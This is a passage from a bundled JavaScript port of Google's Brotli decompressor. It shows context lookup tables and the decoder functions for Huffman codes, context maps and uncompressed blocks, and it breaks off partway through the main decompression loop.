  2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
  2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
  3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3,
  3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3,
  3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3,
  3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3,
  4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4,
  4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4,
  4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4,
  4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4,
  5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5,
  5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5,
  5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5,
  6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7,
  /* CONTEXT_SIGNED, last byte, same as the above values shifted by 3 bits. */
   0, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8,
  16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16,
  16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16,
  16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16,
  24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24,
  24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24,
  24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24,
  24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24,
  32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32,
  32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32,
  32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32,
  32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32,
  40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
  40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
  40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
  48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 56,
  /* CONTEXT_LSB6, last byte. */
   0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14, 15,
  16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
  32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47,
  48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63,
   0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14, 15,
  16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
  32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47,
  48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63,
   0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14, 15,
  16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
  32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47,
  48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63,
   0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14, 15,
  16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
  32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47,
  48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63,
  /* CONTEXT_MSB6, last byte. */
   0,  0,  0,  0,  1,  1,  1,  1,  2,  2,  2,  2,  3,  3,  3,  3,
   4,  4,  4,  4,  5,  5,  5,  5,  6,  6,  6,  6,  7,  7,  7,  7,
   8,  8,  8,  8,  9,  9,  9,  9, 10, 10, 10, 10, 11, 11, 11, 11,
  12, 12, 12, 12, 13, 13, 13, 13, 14, 14, 14, 14, 15, 15, 15, 15,
  16, 16, 16, 16, 17, 17, 17, 17, 18, 18, 18, 18, 19, 19, 19, 19,
  20, 20, 20, 20, 21, 21, 21, 21, 22, 22, 22, 22, 23, 23, 23, 23,
  24, 24, 24, 24, 25, 25, 25, 25, 26, 26, 26, 26, 27, 27, 27, 27,
  28, 28, 28, 28, 29, 29, 29, 29, 30, 30, 30, 30, 31, 31, 31, 31,
  32, 32, 32, 32, 33, 33, 33, 33, 34, 34, 34, 34, 35, 35, 35, 35,
  36, 36, 36, 36, 37, 37, 37, 37, 38, 38, 38, 38, 39, 39, 39, 39,
  40, 40, 40, 40, 41, 41, 41, 41, 42, 42, 42, 42, 43, 43, 43, 43,
  44, 44, 44, 44, 45, 45, 45, 45, 46, 46, 46, 46, 47, 47, 47, 47,
  48, 48, 48, 48, 49, 49, 49, 49, 50, 50, 50, 50, 51, 51, 51, 51,
  52, 52, 52, 52, 53, 53, 53, 53, 54, 54, 54, 54, 55, 55, 55, 55,
  56, 56, 56, 56, 57, 57, 57, 57, 58, 58, 58, 58, 59, 59, 59, 59,
  60, 60, 60, 60, 61, 61, 61, 61, 62, 62, 62, 62, 63, 63, 63, 63,
  /* CONTEXT_{M,L}SB6, second last byte, */
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
]);

exports.lookupOffsets = new Uint16Array([
  /* CONTEXT_LSB6 */
  1024, 1536,
  /* CONTEXT_MSB6 */
  1280, 1536,
  /* CONTEXT_UTF8 */
  0, 256,
  /* CONTEXT_SIGNED */
  768, 512,
]);

},{}],3:[function(require,module,exports){
/* Copyright 2013 Google Inc. All Rights Reserved.

   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
   You may obtain a copy of the License at

   http://www.apache.org/licenses/LICENSE-2.0

   Unless required by applicable law or agreed to in writing, software
   distributed under the License is distributed on an "AS IS" BASIS,
   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   See the License for the specific language governing permissions and
   limitations under the License.
*/

var BrotliInput = require('./streams').BrotliInput;
var BrotliOutput = require('./streams').BrotliOutput;
var BrotliBitReader = require('./bit_reader');
var BrotliDictionary = require('./dictionary');
var HuffmanCode = require('./huffman').HuffmanCode;
var BrotliBuildHuffmanTable = require('./huffman').BrotliBuildHuffmanTable;
var Context = require('./context');
var Prefix = require('./prefix');
var Transform = require('./transform');

var kDefaultCodeLength = 8;
var kCodeLengthRepeatCode = 16;
var kNumLiteralCodes = 256;
var kNumInsertAndCopyCodes = 704;
var kNumBlockLengthCodes = 26;
var kLiteralContextBits = 6;
var kDistanceContextBits = 2;

var HUFFMAN_TABLE_BITS = 8;
var HUFFMAN_TABLE_MASK = 0xff;
/* Maximum possible Huffman table size for an alphabet size of 704, max code
 * length 15 and root table bits 8. */
var HUFFMAN_MAX_TABLE_SIZE = 1080;

var CODE_LENGTH_CODES = 18;
var kCodeLengthCodeOrder = new Uint8Array([
  1, 2, 3, 4, 0, 5, 17, 6, 16, 7, 8, 9, 10, 11, 12, 13, 14, 15,
]);

var NUM_DISTANCE_SHORT_CODES = 16;
var kDistanceShortCodeIndexOffset = new Uint8Array([
  3, 2, 1, 0, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2
]);

var kDistanceShortCodeValueOffset = new Int8Array([
  0, 0, 0, 0, -1, 1, -2, 2, -3, 3, -1, 1, -2, 2, -3, 3
]);

var kMaxHuffmanTableSize = new Uint16Array([
  256, 402, 436, 468, 500, 534, 566, 598, 630, 662, 694, 726, 758, 790, 822,
  854, 886, 920, 952, 984, 1016, 1048, 1080
]);

function DecodeWindowBits(br) {
  var n;
  if (br.readBits(1) === 0) {
    return 16;
  }

  n = br.readBits(3);
  if (n > 0) {
    return 17 + n;
  }

  n = br.readBits(3);
  if (n > 0) {
    return 8 + n;
  }

  return 17;
}

/* Decodes a number in the range [0..255], by reading 1 - 11 bits. */
function DecodeVarLenUint8(br) {
  if (br.readBits(1)) {
    var nbits = br.readBits(3);
    if (nbits === 0) {
      return 1;
    } else {
      return br.readBits(nbits) + (1 << nbits);
    }
  }
  return 0;
}

function MetaBlockLength() {
  this.meta_block_length = 0;
  this.input_end = 0;
  this.is_uncompressed = 0;
  this.is_metadata = false;
}

function DecodeMetaBlockLength(br) {
  var out = new MetaBlockLength;
  var size_nibbles;
  var size_bytes;
  var i;

  out.input_end = br.readBits(1);
  if (out.input_end && br.readBits(1)) {
    return out;
  }

  size_nibbles = br.readBits(2) + 4;
  if (size_nibbles === 7) {
    out.is_metadata = true;

    if (br.readBits(1) !== 0)
      throw new Error('Invalid reserved bit');

    size_bytes = br.readBits(2);
    if (size_bytes === 0)
      return out;

    for (i = 0; i < size_bytes; i++) {
      var next_byte = br.readBits(8);
      if (i + 1 === size_bytes && size_bytes > 1 && next_byte === 0)
        throw new Error('Invalid size byte');

      out.meta_block_length |= next_byte << (i * 8);
    }
  } else {
    for (i = 0; i < size_nibbles; ++i) {
      var next_nibble = br.readBits(4);
      if (i + 1 === size_nibbles && size_nibbles > 4 && next_nibble === 0)
        throw new Error('Invalid size nibble');

      out.meta_block_length |= next_nibble << (i * 4);
    }
  }

  ++out.meta_block_length;

  if (!out.input_end && !out.is_metadata) {
    out.is_uncompressed = br.readBits(1);
  }

  return out;
}

/* Decodes the next Huffman code from bit-stream. */
function ReadSymbol(table, index, br) {
  var start_index = index;

  var nbits;
  br.fillBitWindow();
  index += (br.val_ >>> br.bit_pos_) & HUFFMAN_TABLE_MASK;
  nbits = table[index].bits - HUFFMAN_TABLE_BITS;
  if (nbits > 0) {
    br.bit_pos_ += HUFFMAN_TABLE_BITS;
    index += table[index].value;
    index += (br.val_ >>> br.bit_pos_) & ((1 << nbits) - 1);
  }
  br.bit_pos_ += table[index].bits;
  return table[index].value;
}

function ReadHuffmanCodeLengths(code_length_code_lengths, num_symbols, code_lengths, br) {
  var symbol = 0;
  var prev_code_len = kDefaultCodeLength;
  var repeat = 0;
  var repeat_code_len = 0;
  var space = 32768;

  var table = [];
  for (var i = 0; i < 32; i++)
    table.push(new HuffmanCode(0, 0));

  BrotliBuildHuffmanTable(table, 0, 5, code_length_code_lengths, CODE_LENGTH_CODES);

  while (symbol < num_symbols && space > 0) {
    var p = 0;
    var code_len;

    br.readMoreInput();
    br.fillBitWindow();
    p += (br.val_ >>> br.bit_pos_) & 31;
    br.bit_pos_ += table[p].bits;
    code_len = table[p].value & 0xff;
    if (code_len < kCodeLengthRepeatCode) {
      repeat = 0;
      code_lengths[symbol++] = code_len;
      if (code_len !== 0) {
        prev_code_len = code_len;
        space -= 32768 >> code_len;
      }
    } else {
      var extra_bits = code_len - 14;
      var old_repeat;
      var repeat_delta;
      var new_len = 0;
      if (code_len === kCodeLengthRepeatCode) {
        new_len = prev_code_len;
      }
      if (repeat_code_len !== new_len) {
        repeat = 0;
        repeat_code_len = new_len;
      }
      old_repeat = repeat;
      if (repeat > 0) {
        repeat -= 2;
        repeat <<= extra_bits;
      }
      repeat += br.readBits(extra_bits) + 3;
      repeat_delta = repeat - old_repeat;
      if (symbol + repeat_delta > num_symbols) {
        throw new Error('[ReadHuffmanCodeLengths] symbol + repeat_delta > num_symbols');
      }

      for (var x = 0; x < repeat_delta; x++)
        code_lengths[symbol + x] = repeat_code_len;

      symbol += repeat_delta;

      if (repeat_code_len !== 0) {
        space -= repeat_delta << (15 - repeat_code_len);
      }
    }
  }
  if (space !== 0) {
    throw new Error("[ReadHuffmanCodeLengths] space = " + space);
  }

  for (; symbol < num_symbols; symbol++)
    code_lengths[symbol] = 0;
}

function ReadHuffmanCode(alphabet_size, tables, table, br) {
  var table_size = 0;
  var simple_code_or_skip;
  var code_lengths = new Uint8Array(alphabet_size);

  br.readMoreInput();

  /* simple_code_or_skip is used as follows:
     1 for simple code;
     0 for no skipping, 2 skips 2 code lengths, 3 skips 3 code lengths */
  simple_code_or_skip = br.readBits(2);
  if (simple_code_or_skip === 1) {
    /* Read symbols, codes & code lengths directly. */
    var i;
    var max_bits_counter = alphabet_size - 1;
    var max_bits = 0;
    var symbols = new Int32Array(4);
    var num_symbols = br.readBits(2) + 1;
    while (max_bits_counter) {
      max_bits_counter >>= 1;
      ++max_bits;
    }

    for (i = 0; i < num_symbols; ++i) {
      symbols[i] = br.readBits(max_bits) % alphabet_size;
      code_lengths[symbols[i]] = 2;
    }
    code_lengths[symbols[0]] = 1;
    switch (num_symbols) {
      case 1:
        break;
      case 3:
        if ((symbols[0] === symbols[1]) ||
            (symbols[0] === symbols[2]) ||
            (symbols[1] === symbols[2])) {
          throw new Error('[ReadHuffmanCode] invalid symbols');
        }
        break;
      case 2:
        if (symbols[0] === symbols[1]) {
          throw new Error('[ReadHuffmanCode] invalid symbols');
        }

        code_lengths[symbols[1]] = 1;
        break;
      case 4:
        if ((symbols[0] === symbols[1]) ||
            (symbols[0] === symbols[2]) ||
            (symbols[0] === symbols[3]) ||
            (symbols[1] === symbols[2]) ||
            (symbols[1] === symbols[3]) ||
            (symbols[2] === symbols[3])) {
          throw new Error('[ReadHuffmanCode] invalid symbols');
        }

        if (br.readBits(1)) {
          code_lengths[symbols[2]] = 3;
          code_lengths[symbols[3]] = 3;
        } else {
          code_lengths[symbols[0]] = 2;
        }
        break;
    }
  } else {  /* Decode Huffman-coded code lengths. */
    var i;
    var code_length_code_lengths = new Uint8Array(CODE_LENGTH_CODES);
    var space = 32;
    var num_codes = 0;
    /* Static Huffman code for the code length code lengths */
    var huff = [
      new HuffmanCode(2, 0), new HuffmanCode(2, 4), new HuffmanCode(2, 3), new HuffmanCode(3, 2),
      new HuffmanCode(2, 0), new HuffmanCode(2, 4), new HuffmanCode(2, 3), new HuffmanCode(4, 1),
      new HuffmanCode(2, 0), new HuffmanCode(2, 4), new HuffmanCode(2, 3), new HuffmanCode(3, 2),
      new HuffmanCode(2, 0), new HuffmanCode(2, 4), new HuffmanCode(2, 3), new HuffmanCode(4, 5)
    ];
    for (i = simple_code_or_skip; i < CODE_LENGTH_CODES && space > 0; ++i) {
      var code_len_idx = kCodeLengthCodeOrder[i];
      var p = 0;
      var v;
      br.fillBitWindow();
      p += (br.val_ >>> br.bit_pos_) & 15;
      br.bit_pos_ += huff[p].bits;
      v = huff[p].value;
      code_length_code_lengths[code_len_idx] = v;
      if (v !== 0) {
        space -= (32 >> v);
        ++num_codes;
      }
    }

    if (!(num_codes === 1 || space === 0))
      throw new Error('[ReadHuffmanCode] invalid num_codes or space');

    ReadHuffmanCodeLengths(code_length_code_lengths, alphabet_size, code_lengths, br);
  }

  table_size = BrotliBuildHuffmanTable(tables, table, HUFFMAN_TABLE_BITS, code_lengths, alphabet_size);

  if (table_size === 0) {
    throw new Error("[ReadHuffmanCode] BuildHuffmanTable failed: ");
  }

  return table_size;
}

function ReadBlockLength(table, index, br) {
  var code;
  var nbits;
  code = ReadSymbol(table, index, br);
  nbits = Prefix.kBlockLengthPrefixCode[code].nbits;
  return Prefix.kBlockLengthPrefixCode[code].offset + br.readBits(nbits);
}

function TranslateShortCodes(code, ringbuffer, index) {
  var val;
  if (code < NUM_DISTANCE_SHORT_CODES) {
    index += kDistanceShortCodeIndexOffset[code];
    index &= 3;
    val = ringbuffer[index] + kDistanceShortCodeValueOffset[code];
  } else {
    val = code - NUM_DISTANCE_SHORT_CODES + 1;
  }
  return val;
}

function MoveToFront(v, index) {
  var value = v[index];
  var i = index;
  for (; i; --i) v[i] = v[i - 1];
  v[0] = value;
}

function InverseMoveToFrontTransform(v, v_len) {
  var mtf = new Uint8Array(256);
  var i;
  for (i = 0; i < 256; ++i) {
    mtf[i] = i;
  }
  for (i = 0; i < v_len; ++i) {
    var index = v[i];
    v[i] = mtf[index];
    if (index) MoveToFront(mtf, index);
  }
}

/* Contains a collection of huffman trees with the same alphabet size. */
function HuffmanTreeGroup(alphabet_size, num_htrees) {
  this.alphabet_size = alphabet_size;
  this.num_htrees = num_htrees;
  this.codes = new Array(num_htrees + num_htrees * kMaxHuffmanTableSize[(alphabet_size + 31) >>> 5]);
  this.htrees = new Uint32Array(num_htrees);
}

HuffmanTreeGroup.prototype.decode = function(br) {
  var i;
  var table_size;
  var next = 0;
  for (i = 0; i < this.num_htrees; ++i) {
    this.htrees[i] = next;
    table_size = ReadHuffmanCode(this.alphabet_size, this.codes, next, br);
    next += table_size;
  }
};

function DecodeContextMap(context_map_size, br) {
  var out = { num_htrees: null, context_map: null };
  var use_rle_for_zeros;
  var max_run_length_prefix = 0;
  var table;
  var i;

  br.readMoreInput();
  var num_htrees = out.num_htrees = DecodeVarLenUint8(br) + 1;

  var context_map = out.context_map = new Uint8Array(context_map_size);
  if (num_htrees <= 1) {
    return out;
  }

  use_rle_for_zeros = br.readBits(1);
  if (use_rle_for_zeros) {
    max_run_length_prefix = br.readBits(4) + 1;
  }

  table = [];
  for (i = 0; i < HUFFMAN_MAX_TABLE_SIZE; i++) {
    table[i] = new HuffmanCode(0, 0);
  }

  ReadHuffmanCode(num_htrees + max_run_length_prefix, table, 0, br);

  for (i = 0; i < context_map_size;) {
    var code;

    br.readMoreInput();
    code = ReadSymbol(table, 0, br);
    if (code === 0) {
      context_map[i] = 0;
      ++i;
    } else if (code <= max_run_length_prefix) {
      var reps = 1 + (1 << code) + br.readBits(code);
      while (--reps) {
        if (i >= context_map_size) {
          throw new Error("[DecodeContextMap] i >= context_map_size");
        }
        context_map[i] = 0;
        ++i;
      }
    } else {
      context_map[i] = code - max_run_length_prefix;
      ++i;
    }
  }
  if (br.readBits(1)) {
    InverseMoveToFrontTransform(context_map, context_map_size);
  }

  return out;
}

function DecodeBlockType(max_block_type, trees, tree_type, block_types, ringbuffers, indexes, br) {
  var ringbuffer = tree_type * 2;
  var index = tree_type;
  var type_code = ReadSymbol(trees, tree_type * HUFFMAN_MAX_TABLE_SIZE, br);
  var block_type;
  if (type_code === 0) {
    block_type = ringbuffers[ringbuffer + (indexes[index] & 1)];
  } else if (type_code === 1) {
    block_type = ringbuffers[ringbuffer + ((indexes[index] - 1) & 1)] + 1;
  } else {
    block_type = type_code - 2;
  }
  if (block_type >= max_block_type) {
    block_type -= max_block_type;
  }
  block_types[tree_type] = block_type;
  ringbuffers[ringbuffer + (indexes[index] & 1)] = block_type;
  ++indexes[index];
}

function CopyUncompressedBlockToOutput(output, len, pos, ringbuffer, ringbuffer_mask, br) {
  var rb_size = ringbuffer_mask + 1;
  var rb_pos = pos & ringbuffer_mask;
  var br_pos = br.pos_ & BrotliBitReader.IBUF_MASK;
  var nbytes;

  /* For short lengths copy byte-by-byte */
  if (len < 8 || br.bit_pos_ + (len << 3) < br.bit_end_pos_) {
    while (len-- > 0) {
      br.readMoreInput();
      ringbuffer[rb_pos++] = br.readBits(8);
      if (rb_pos === rb_size) {
        output.write(ringbuffer, rb_size);
        rb_pos = 0;
      }
    }
    return;
  }

  if (br.bit_end_pos_ < 32) {
    throw new Error('[CopyUncompressedBlockToOutput] br.bit_end_pos_ < 32');
  }

  /* Copy remaining 0-4 bytes from br.val_ to ringbuffer. */
  while (br.bit_pos_ < 32) {
    ringbuffer[rb_pos] = (br.val_ >>> br.bit_pos_);
    br.bit_pos_ += 8;
    ++rb_pos;
    --len;
  }

  /* Copy remaining bytes from br.buf_ to ringbuffer. */
  nbytes = (br.bit_end_pos_ - br.bit_pos_) >> 3;
  if (br_pos + nbytes > BrotliBitReader.IBUF_MASK) {
    var tail = BrotliBitReader.IBUF_MASK + 1 - br_pos;
    for (var x = 0; x < tail; x++)
      ringbuffer[rb_pos + x] = br.buf_[br_pos + x];

    nbytes -= tail;
    rb_pos += tail;
    len -= tail;
    br_pos = 0;
  }

  for (var x = 0; x < nbytes; x++)
    ringbuffer[rb_pos + x] = br.buf_[br_pos + x];

  rb_pos += nbytes;
  len -= nbytes;

  /* If we wrote past the logical end of the ringbuffer, copy the tail of the
     ringbuffer to its beginning and flush the ringbuffer to the output. */
  if (rb_pos >= rb_size) {
    output.write(ringbuffer, rb_size);
    rb_pos -= rb_size;
    for (var x = 0; x < rb_pos; x++)
      ringbuffer[x] = ringbuffer[rb_size + x];
  }

  /* If we have more to copy than the remaining size of the ringbuffer, then we
     first fill the ringbuffer from the input and then flush the ringbuffer to
     the output */
  while (rb_pos + len >= rb_size) {
    nbytes = rb_size - rb_pos;
    if (br.input_.read(ringbuffer, rb_pos, nbytes) < nbytes) {
      throw new Error('[CopyUncompressedBlockToOutput] not enough bytes');
    }
    output.write(ringbuffer, rb_size);
    len -= nbytes;
    rb_pos = 0;
  }

  /* Copy straight from the input onto the ringbuffer. The ringbuffer will be
     flushed to the output at a later time. */
  if (br.input_.read(ringbuffer, rb_pos, len) < len) {
    throw new Error('[CopyUncompressedBlockToOutput] not enough bytes');
  }

  /* Restore the state of the bit reader. */
  br.reset();
}

/* Advances the bit reader position to the next byte boundary and verifies
   that any skipped bits are set to zero. */
function JumpToByteBoundary(br) {
  var new_bit_pos = (br.bit_pos_ + 7) & ~7;
  var pad_bits = br.readBits(new_bit_pos - br.bit_pos_);
  return pad_bits == 0;
}

function BrotliDecompressedSize(buffer) {
  var input = new BrotliInput(buffer);
  var br = new BrotliBitReader(input);
  DecodeWindowBits(br);
  var out = DecodeMetaBlockLength(br);
  return out.meta_block_length;
}

exports.BrotliDecompressedSize = BrotliDecompressedSize;

function BrotliDecompressBuffer(buffer, output_size) {
  var input = new BrotliInput(buffer);

  if (output_size == null) {
    output_size = BrotliDecompressedSize(buffer);
  }

  var output_buffer = new Uint8Array(output_size);
  var output = new BrotliOutput(output_buffer);

  BrotliDecompress(input, output);

  if (output.pos < output.buffer.length) {
    output.buffer = output.buffer.subarray(0, output.pos);
  }

  return output.buffer;
}

exports.BrotliDecompressBuffer = BrotliDecompressBuffer;

function BrotliDecompress(input, output) {
  var i;
  var pos = 0;
  var input_end = 0;
  var window_bits = 0;
  var max_backward_distance;
  var max_distance = 0;
  var ringbuffer_size;
  var ringbuffer_mask;
  var ringbuffer;
  var ringbuffer_end;
  /* This ring buffer holds a few past copy distances that will be used by */
  /* some special distance codes. */
  var dist_rb = [ 16, 15, 11, 4 ];
  var dist_rb_idx = 0;
  /* The previous 2 bytes used for context. */
  var prev_byte1 = 0;
  var prev_byte2 = 0;
  var hgroup = [new HuffmanTreeGroup(0, 0), new HuffmanTreeGroup(0, 0), new HuffmanTreeGroup(0, 0)];
  var block_type_trees;
  var block_len_trees;
  var br;

  /* We need the slack region for the following reasons:
       - always doing two 8-byte copies for fast backward copying
       - transforms
       - flushing the input ringbuffer when decoding uncompressed blocks */
  var kRingBufferWriteAheadSlack = 128 + BrotliBitReader.READ_SIZE;

  br = new BrotliBitReader(input);

  /* Decode window size. */
  window_bits = DecodeWindowBits(br);
  max_backward_distance = (1 << window_bits) - 16;

  ringbuffer_size = 1 << window_bits;
  ringbuffer_mask = ringbuffer_size - 1;
  ringbuffer = new Uint8Array(ringbuffer_size + kRingBufferWriteAheadSlack + BrotliDictionary.maxDictionaryWordLength);
  ringbuffer_end = ringbuffer_size;

  block_type_trees = [];
  block_len_trees = [];
  for (var x = 0; x < 3 * HUFFMAN_MAX_TABLE_SIZE; x++) {
    block_type_trees[x] = new HuffmanCode(0, 0);
    block_len_trees[x] = new HuffmanCode(0, 0);
  }

  while (!input_end) {
    var meta_block_remaining_len = 0;
    var is_uncompressed;
    var block_length = [ 1 << 28, 1 << 28, 1 << 28 ];
    var block_type = [ 0 ];
    var num_block_types = [ 1, 1, 1 ];
    var block_type_rb = [ 0, 1, 0, 1, 0, 1 ];
    var block_type_rb_index = [ 0 ];
    var distance_postfix_bits;
    var num_direct_distance_codes;
    var distance_postfix_mask;
    var num_distance_codes;
    var context_map = null;
    var context_modes = null;
    var num_literal_htrees;
    var dist_context_map = null;
    var num_dist_htrees;
    var context_offset = 0;
    var context_map_slice = null;
    var literal_htree_index = 0;
    var dist_context_offset = 0;
    var dist_context_map_slice = null;
    var dist_htree_index = 0;
    var context_lookup_offset1 = 0;
    var context_lookup_offset2 = 0;
    var context_mode;
    var htree_command;

    for (i = 0; i < 3; ++i) {
      hgroup[i].codes = null;
      hgroup[i].htrees = null;
    }

    br.readMoreInput();

    var _out = DecodeMetaBlockLength(br);
    meta_block_remaining_len = _out.meta_block_length;
    if (pos + meta_block_remaining_len > output.buffer.length) {
      /* We need to grow the output buffer to fit the additional data. */
      var tmp = new Uint8Array( pos + meta_block_remaining_len );
      tmp.set( output.buffer );
      output.buffer = tmp;
    }
    input_end = _out.input_end;
    is_uncompressed = _out.is_uncompressed;

    if (_out.is_metadata) {
      JumpToByteBoundary(br);

      for (; meta_block_remaining_len > 0; --meta_block_remaining_len) {
        br.readMoreInput();
        /* Read one byte and ignore it. */
        br.readBits(8);
      }

      continue;
    }

    if (meta_block_remaining_len === 0) {
      continue;
    }

    if (is_uncompressed) {
      br.bit_pos_ = (br.bit_pos_ + 7) & ~7;
      CopyUncompressedBlockToOutput(output, meta_block_remaining_len, pos,
                                    ringbuffer, ringbuffer_mask, br);
      pos += meta_block_remaining_len;
      continue;
    }

    for (i = 0; i < 3; ++i) {
      num_block_types[i] = DecodeVarLenUint8(br) + 1;
      if (num_block_types[i] >= 2) {
        ReadHuffmanCode(num_block_types[i] + 2, block_type_trees, i * HUFFMAN_MAX_TABLE_SIZE, br);
        ReadHuffmanCode(kNumBlockLengthCodes, block_len_trees, i * HUFFMAN_MAX_TABLE_SIZE, br);
        block_length[i] = ReadBlockLength(block_len_trees, i * HUFFMAN_MAX_TABLE_SIZE, br);
        block_type_rb_index[i] = 1;
      }
    }

    br.readMoreInput();

    distance_postfix_bits = br.readBits(2);
    num_direct_distance_codes = NUM_DISTANCE_SHORT_CODES + (br.readBits(4) << distance_postfix_bits);
    distance_postfix_mask = (1 << distance_postfix_bits) - 1;
    num_distance_codes = (num_direct_distance_codes + (48 << distance_postfix_bits));
    context_modes = new Uint8Array(num_block_types[0]);

    for (i = 0; i < num_block_types[0]; ++i) {
       br.readMoreInput();
       context_modes[i] = (br.readBits(2) << 1);
    }

    var _o1 = DecodeContextMap(num_block_types[0] << kLiteralContextBits, br);
    num_literal_htrees = _o1.num_htrees;
    context_map = _o1.context_map;

    var _o2 = DecodeContextMap(num_block_types[2] << kDistanceContextBits, br);
    num_dist_htrees = _o2.num_htrees;
    dist_context_map = _o2.context_map;

    hgroup[0] = new HuffmanTreeGroup(kNumLiteralCodes, num_literal_htrees);
    hgroup[1] = new HuffmanTreeGroup(kNumInsertAndCopyCodes, num_block_types[1]);
    hgroup[2] = new HuffmanTreeGroup(num_distance_codes, num_dist_htrees);

    for (i = 0; i < 3; ++i) {
      hgroup[i].decode(br);
    }

    context_map_slice = 0;
    dist_context_map_slice = 0;
    context_mode = context_modes[block_type[0]];
    context_lookup_offset1 = Context.lookupOffsets[context_mode];
    context_lookup_offset2 = Context.lookupOffsets[context_mode + 1];
    htree_command = hgroup[1].htrees[0];

    while (meta_block_remaining_len > 0) {
      var cmd_code;
      var range_idx;
      var insert_code;
      var copy_code;
      var insert_length;
      var copy_length;
      var distance_code;
      var distance;
      var context;
      var j;
      var copy_dst;

      br.readMoreInput();

      if (block_length[1] === 0) {
        DecodeBlockType(num_block_types[1],
                        block_type_trees, 1, block_type, block_type_rb,
                        block_type_rb_index, br);
